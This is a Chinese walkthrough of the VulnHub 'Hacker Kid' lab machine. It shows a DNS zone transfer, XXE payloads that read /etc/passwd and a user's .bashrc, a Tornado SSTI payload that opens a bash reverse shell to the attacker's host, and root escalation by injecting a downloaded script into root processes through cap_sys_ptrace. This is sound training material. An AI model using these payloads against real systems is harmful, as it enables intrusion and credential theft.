0x01靶机介绍
项目 | Value |
---|---|
项目地址 | https://www.vulnhub.com/entry/hacker-kid-101,719/ |
镜像链接 | https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova |
作者 | Saket Sourav |
发布日期 | 2021年8月2日 |
系列 | Hacker kid |
难度 | easy |
目的 | 获取root权限 |
0x02靶机搭建
工具:VMware Workstation 17.0
镜像:Hacker_Kid-v1.0.1.ova
搭建方式
VMware Workstation 17.0:
1.文件–>打开–>Hacker_Kid-v1.0.1.ova,配置默认即可
2.开攻击机Kali(NAT模式)和靶机
NAT网段:192.168.47.0/24
Kali的ip地址: 192.168.47.128
0x03渗透流程
一.信息收集
1.主机发现
arp-scan -l
2.端口扫描
nmap -sV -p- 192.168.47.130
53 DNS服务
80 Apache http
9999 Tornado http
二.漏洞挖掘
1.DNS 区域传送漏洞
Ctrl+u查看80端口网页源码,提示我们使用参数 page_no 去浏览界面
访问
http://192.168.47.130/?page_no=1
提示深入一点点不对,那继续
在参数page_no为21的时候出现,发现一个子域名hackers.blackhat.local
在hosts文件中添加解析
vi /etc/hosts
192.168.47.130 hackers.blackhat.local
测试
dig axfr @192.168.47.130 blackhat.local
获取到了许多的DNS记录
这里将192.168.47.130 hackerkid.blackhat.local 添加到hosts文件中
访问:
http://hackerkid.blackhat.local/
2.xxe攻击
Ctrl + u查看源码发现为xml格式,我们通过构造xml 数据包payload进行利用
修改本机hosts文件并使用burp抓包(kali自带burp也行)
hosts文件地址:C:\WINDOWS\System32\drivers\etc
构造xml 数据包payload获取信息
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root><name>123</name><tel>123</tel><email>
&test;</email><password>123</password></root>
发现一个 saket❌1000:1000:Ubuntu,:/home/saket:/bin/bash 用户信息
我们尝试访问saket家目录下的.bashrc文件
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root><name>123</name><tel>123</tel><email>
&test;</email><password>123</password></root>
返回一串base64编码,使用burp自带的解码工具解码找到一个账户和密码
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
使用这个账号在网页9999端口登陆(失败)
正确用户名为刚刚爆出来的
saket❌1000:1000:Ubuntu,:/home/saket:/bin/bash
具有bash权限的用户,使用用户名为 saket 登陆密码 Saket!#$%@!!
3.SSTI注入
9999端口开放的是tornado服务,是一个python的web服务框架,并且该框架可能存在SSTI注入。
这里根据网页提示,访问
http://192.168.47.130:9999/?name=saket
成功得到回显,构造payload
http://192.168.47.130:9999/?name={{1*2}}
说明存在SSTI注入漏洞
构造反弹shell
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.47.128/7777 0>&1"')}}
url编码:
%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%37%2e%31%32%38%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d
kali开启监听端口
nc -lvvp 7777
执行后成功反弹shell
http://192.168.47.130:9999/?name=%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%37%2e%31%32%38%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d
4.Capabilitie提权
/usr/sbin/getcap -r / 2>/dev/null
/usr/sbin 是要搜索的目录,-r 参数指示递归地搜索子目录。
2>/dev/null 表示将标准错误输出重定向到 /dev/null,这样可以禁止输出错误信息。
发现当前用户有cap_sys_ptrace+ep Capabilitie,所以我们可以对其进行利用然后进行提权。
cd /tmp //进入tmp目录
git clone https://gitee.com/Re1-zf/shell.git //下载注入脚本
cd shell
使用脚本批量对root进程进行注入(此注入脚本会在目标机监听开启一个5600端口)
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
netstat -an|grep 5600 //查看是否开启
使用攻击机kali链接目标机即可提权成功:
nc 192.168.47.130 5600